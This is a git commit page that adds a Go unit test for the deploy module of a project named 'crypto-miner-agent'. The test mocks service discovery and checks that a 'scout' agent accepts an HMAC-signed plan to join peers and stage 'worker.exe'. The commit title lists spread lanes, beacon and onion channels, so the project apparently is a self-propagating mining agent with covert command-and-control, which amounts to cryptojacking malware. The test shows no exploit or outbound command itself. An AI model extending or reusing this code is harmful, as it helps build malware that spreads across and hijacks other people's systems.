Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
49
agent/deploy/scout_discover_test.go
Normal file
49
agent/deploy/scout_discover_test.go
Normal file
@@ -0,0 +1,49 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestRunDiscoverAndJoinScoutSkipsStaging(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
ScoutMode: true,
|
||||
FleetSecret: "test-secret",
|
||||
}}
|
||||
fetch := func(_ []DeployServiceFinding, _ string) (DeployPlanResponse, error) {
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "do_peer",
|
||||
Action: "do_peer",
|
||||
Manifest: &StagingManifest{Dest: "worker.exe", SHA256: "abc"},
|
||||
}
|
||||
raw, err := json.Marshal(plan)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
|
||||
mac.Write(raw)
|
||||
sig := hex.EncodeToString(mac.Sum(nil))
|
||||
return DeployPlanResponse{OK: true, JoinLane: "do_peer", Plan: plan, Signature: sig}, nil
|
||||
}
|
||||
runServiceDiscoverFn = func(_ int) string {
|
||||
return `{"local":{"host":"127.0.0.1","services":[{"service_name":"dosvc","status":"running"}]}}`
|
||||
}
|
||||
t.Cleanup(func() { runServiceDiscoverFn = nil })
|
||||
|
||||
lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if lane != "do_peer" {
|
||||
t.Fatalf("lane=%q", lane)
|
||||
}
|
||||
if !strings.Contains(detail, "no payload staging") {
|
||||
t.Fatalf("detail=%q", detail)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user